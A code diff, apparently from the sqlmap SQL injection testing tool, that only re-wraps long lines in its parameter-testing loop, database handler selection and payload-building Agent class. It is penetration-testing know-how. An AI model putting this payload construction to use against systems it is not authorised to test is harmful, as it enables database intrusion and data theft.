targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl)
if conf.cookie: if conf.cookie:
message += "\nCookie: %s" % conf.cookie message += "\nCookie: %s" % conf.cookie
if conf.data is not None: if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) message += "\n%s data: %s" % (
(conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST,
urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method: if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@ -400,10 +420,17 @@ def start():
break break
else: else:
if conf.method != HTTPMETHOD.GET: if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") message = "Edit %s data [default: %s]%s: " % (conf.method,
urlencode(conf.data or "") if re.search(
r"\A\s*[<{]",
conf.data or "None") is None else conf.data,
" (Warning: blank fields detected)" if conf.data and extractRegexResult(
EMPTY_FORM_FIELDS_REGEX,
conf.data) else "")
conf.data = readInput(message, default=conf.data) conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data) conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER,
None) not in conf.data else conf.data
else: else:
if '?' in targetUrl: if '?' in targetUrl:
@ -439,7 +466,8 @@ def start():
if conf.rParam and kb.originalPage: if conf.rParam and kb.originalPage:
kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)]) kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage): for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>",
kb.originalPage):
name, _ = match.groups() name, _ = match.groups()
options = tuple(re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _)) options = tuple(re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _))
if options: if options:
@ -450,7 +478,8 @@ def start():
if conf.nullConnection: if conf.nullConnection:
checkNullConnection() checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None): if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (
kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
# NOTE: this is not needed anymore, leaving only to display # NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable # a warning message to the user in case the page is not stable
@ -484,7 +513,8 @@ def start():
# Test Cookie header only if --level >= 2 # Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2)) skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in (
[], None))
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))
@ -515,7 +545,8 @@ def start():
if paramKey in kb.testedParams: if paramKey in kb.testedParams:
testSqlInj = False testSqlInj = False
infoMsg = "skipping previously processed %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping previously processed %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))): elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))):
@ -524,19 +555,24 @@ def start():
elif parameter in conf.rParam: elif parameter in conf.rParam:
testSqlInj = False testSqlInj = False
infoMsg = "skipping randomizing %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping randomizing %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip: elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
testSqlInj = False testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): elif conf.paramExclude and (
re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(
conf.paramExclude, parameter.split(' ')[-1], re.I)):
testSqlInj = False testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I): elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
@ -546,26 +582,33 @@ def start():
logger.info(infoMsg) logger.info(infoMsg)
# Ignore session-like parameters for --level < 4 # Ignore session-like parameters for --level < 4
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(
_ in parameter.lower() for _ in
CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(
GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False testSqlInj = False
infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "ignoring %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic: elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
check = checkDynParam(place, parameter, value) check = checkDynParam(place, parameter, value)
if not check: if not check:
warnMsg = "%sparameter '%s' does not appear to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) warnMsg = "%sparameter '%s' does not appear to be dynamic" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.warning(warnMsg) logger.warning(warnMsg)
if conf.skipStatic: if conf.skipStatic:
infoMsg = "skipping static %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping static %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
testSqlInj = False testSqlInj = False
else: else:
infoMsg = "%sparameter '%s' appears to be dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "%sparameter '%s' appears to be dynamic" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
kb.testedParams.add(paramKey) kb.testedParams.add(paramKey)
@ -580,11 +623,13 @@ def start():
if check != HEURISTIC_TEST.POSITIVE: if check != HEURISTIC_TEST.POSITIVE:
if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
continue continue
infoMsg = "testing for SQL injection on %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "testing for SQL injection on %sparameter '%s'" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
injection = checkSqlInjection(place, parameter, value) injection = checkSqlInjection(place, parameter, value)
@ -607,7 +652,8 @@ def start():
process = subprocess.Popen(conf.alert, shell=True) process = subprocess.Popen(conf.alert, shell=True)
process.wait() process.wait()
except Exception as ex: except Exception as ex:
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) errMsg = "error occurred while executing '%s' ('%s')" % (
conf.alert, getSafeExString(ex))
logger.error(errMsg) logger.error(errMsg)
kb.alerted = True kb.alerted = True
@ -616,7 +662,9 @@ def start():
if not proceed: if not proceed:
break break
msg = "%sparameter '%s' " % ("%s " % injection.place if injection.place != injection.parameter else "", injection.parameter) msg = "%sparameter '%s' " % (
"%s " % injection.place if injection.place != injection.parameter else "",
injection.parameter)
msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
if not readInput(msg, default='N', boolean=True): if not readInput(msg, default='N', boolean=True):
@ -625,7 +673,8 @@ def start():
kb.testedParams.add(paramKey) kb.testedParams.add(paramKey)
if not injectable: if not injectable:
warnMsg = "%sparameter '%s' does not seem to be injectable" % ("%s " % paramType if paramType != parameter else "", parameter) warnMsg = "%sparameter '%s' does not seem to be injectable" % (
"%s " % paramType if paramType != parameter else "", parameter)
logger.warning(warnMsg) logger.warning(warnMsg)
finally: finally:

View File

@ -95,6 +95,7 @@ from plugins.dbms.vertica import VerticaMap
from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn from plugins.dbms.virtuoso.connector import Connector as VirtuosoConn
from plugins.dbms.virtuoso import VirtuosoMap from plugins.dbms.virtuoso import VirtuosoMap
def setHandler(): def setHandler():
""" """
Detect which is the target web application back-end database Detect which is the target web application back-end database
@ -131,7 +132,9 @@ def setHandler():
(DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, VirtuosoConn),
] ]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) _ = max(
_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else ()
for _ in items)
if _: if _:
items.remove(_) items.remove(_)
items.insert(0, _) items.insert(0, _)

View File

@ -59,6 +59,7 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from thirdparty import six from thirdparty import six
class Agent(object): class Agent(object):
""" """
This class defines the SQL agent methods. This class defines the SQL agent methods.
@ -74,7 +75,8 @@ class Agent(object):
elif query.startswith("; "): elif query.startswith("; "):
query = query.replace("; ", "", 1) query = query.replace("; ", "", 1)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) if Backend.getIdentifiedDbms() in (
DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query) _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
for field in fieldsToCastStr.split(','): for field in fieldsToCastStr.split(','):
query = query.replace(field, self.nullAndCastField(field)) query = query.replace(field, self.nullAndCastField(field))
@ -118,7 +120,8 @@ class Agent(object):
if place == PLACE.URI: if place == PLACE.URI:
origValue = origValue.split(kb.customInjectionMark)[0] origValue = origValue.split(kb.customInjectionMark)[0]
else: else:
origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0) origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in
(r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
origValue = origValue[origValue.rfind('/') + 1:] origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':', ',', '&'): for char in ('?', '=', ':', ',', '&'):
if char in origValue: if char in origValue:
@ -131,7 +134,8 @@ class Agent(object):
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
match = re.search(r"['\"]", origValue) match = re.search(r"['\"]", origValue)
quote = match.group(0) if match else '"' quote = match.group(0) if match else '"'
origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P<result>[^%s]*)\Z" % quote, origValue) origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(
r"(?P<result>[^%s]*)\Z" % quote, origValue)
else: else:
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or "" _ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
origValue = _.split('=', 1)[1] if '=' in _ else _ origValue = _.split('=', 1)[1] if '=' in _ else _
@ -196,9 +200,11 @@ class Agent(object):
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark) _ = "%s%s" % (origValue, kb.customInjectionMark)
if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString: if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(
newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % self.addPayloadDelimiters(newValue) newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None: elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(
r"['\"]%s['\"]" % re.escape(_), paramString) is None:
newValue = "'%s'" % self.addPayloadDelimiters(newValue) newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else: else:
newValue = self.addPayloadDelimiters(newValue) newValue = self.addPayloadDelimiters(newValue)
@ -213,9 +219,12 @@ class Agent(object):
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue) retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal) match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
if match: if match:
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING))) retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1),
encodeBase64(match.group(2), binary=False,
encoding=conf.encoding or UNICODE_ENCODING)))
else: else:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER),
self.addPayloadDelimiters(newValue))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else: else:
@ -230,7 +239,8 @@ class Agent(object):
_ = re.search(r"\\g<([^>]+)>", repl) _ = re.search(r"\\g<([^>]+)>", repl)
if _: if _:
try: try:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) repl = repl.replace(_.group(0), match.group(
int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
except IndexError: except IndexError:
break break
else: else:
@ -239,13 +249,17 @@ class Agent(object):
return retVal return retVal
if origValue: if origValue:
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") regex = r"(\A|\b)%s=%s%s" % (
re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
else: else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (
re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER),
r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
if retVal == paramString and urlencode(parameter) != parameter: if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)),
"%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
if retVal: if retVal:
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
@ -293,7 +307,9 @@ class Agent(object):
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False)) query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): if not (expression and expression[0] == ';') and not (
query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (
query and query[-1] == '('):
query += " " query += " "
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
@ -322,7 +338,8 @@ class Agent(object):
comment = getTechniqueData().comment if comment is None else comment comment = getTechniqueData().comment if comment is None else comment
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)): if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query): if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(
queries[Backend.getIdentifiedDbms()].comment.query):
comment = queries[Backend.getIdentifiedDbms()].comment.query comment = queries[Backend.getIdentifiedDbms()].comment.query
if comment is not None: if comment is not None:
@ -369,7 +386,9 @@ class Agent(object):
origValue = getUnicode(origValue) origValue = getUnicode(origValue)
if "[ORIGVALUE]" in payload: if "[ORIGVALUE]" in payload:
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) payload = getUnicode(payload).replace("[ORIGVALUE]",
origValue if origValue.isdigit() else unescaper.escape(
"'%s'" % origValue))
if "[ORIGINAL]" in payload: if "[ORIGINAL]" in payload:
payload = getUnicode(payload).replace("[ORIGINAL]", origValue) payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
@ -401,7 +420,8 @@ class Agent(object):
if payload: if payload:
for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload): for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe) _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING,
safe=conf.base64Safe)
payload = payload.replace(match.group(0), _) payload = payload.replace(match.group(0), _)
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
@ -421,7 +441,8 @@ class Agent(object):
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057 # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057
match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload) match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload)
if match: if match:
payload = payload.replace(match.group(0), "%s%s%s" % (match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3)))) payload = payload.replace(match.group(0), "%s%s%s" % (
match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3))))
return payload return payload
@ -489,7 +510,9 @@ class Agent(object):
if field and Backend.getIdentifiedDbms(): if field and Backend.getIdentifiedDbms():
rootQuery = queries[Backend.getIdentifiedDbms()] rootQuery = queries[Backend.getIdentifiedDbms()]
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL): if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (
field.startswith("COUNT(") and getTechnique() in (
PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL):
nulledCastedField = field nulledCastedField = field
else: else:
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
@ -547,7 +570,8 @@ class Agent(object):
if not Backend.getIdentifiedDbms(): if not Backend.getIdentifiedDbms():
return fields return fields
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith(
"MID(") or re.search(r"\A'[^']+'\Z", fields):
nulledCastedConcatFields = fields nulledCastedConcatFields = fields
else: else:
fieldsSplitted = splitFields(fields) fieldsSplitted = splitFields(fields)
@ -555,7 +579,8 @@ class Agent(object):
nulledCastedFields = [] nulledCastedFields = []
for field in fieldsSplitted: for field in fieldsSplitted:
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work field = re.sub(r"(?i) AS \w+\Z", "",
field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
nulledCastedFields.append(self.nullAndCastField(field)) nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
@ -628,7 +653,8 @@ class Agent(object):
fieldsToCastStr = fieldsToCastStr or "" fieldsToCastStr = fieldsToCastStr or ""
# Function # Function
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (
fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
fieldsToCastList = [fieldsToCastStr] fieldsToCastList = [fieldsToCastStr]
else: else:
fieldsToCastList = splitFields(fieldsToCastStr) fieldsToCastList = splitFields(fieldsToCastStr)
@ -649,7 +675,8 @@ class Agent(object):
if conf.db and table and conf.db in table: if conf.db and table and conf.db in table:
table = table.split(conf.db)[-1].strip('.') table = table.split(conf.db)[-1].strip('.')
try: try:
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)] columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][
safeSQLIdentificatorNaming(table, True)]
for name, type_ in columns.items(): for name, type_ in columns.items():
if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field: if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field:
retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name
@ -687,7 +714,8 @@ class Agent(object):
if unpack: if unpack:
concatenatedQuery = "" concatenatedQuery = ""
query = query.replace(", ", ',') query = query.replace(", ", ',')
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(
query)
castedFields = self.nullCastConcatFields(fieldsToCastStr) castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else: else:
@ -702,14 +730,19 @@ class Agent(object):
concatenatedQuery += ",'%s')" % kb.chars.stop concatenatedQuery += ",'%s')" % kb.chars.stop
elif fieldsSelectFrom: elif fieldsSelectFrom:
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) concatenatedQuery = "%s,'%s')%s" % (
concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop,
concatenatedQuery[_:])
elif fieldsSelect: elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += ",'%s')" % kb.chars.stop concatenatedQuery += ",'%s')" % kb.chars.stop
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): elif Backend.getIdentifiedDbms() in (
DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY,
DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE,
DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop concatenatedQuery += "||'%s'" % kb.chars.stop
@ -720,7 +753,8 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
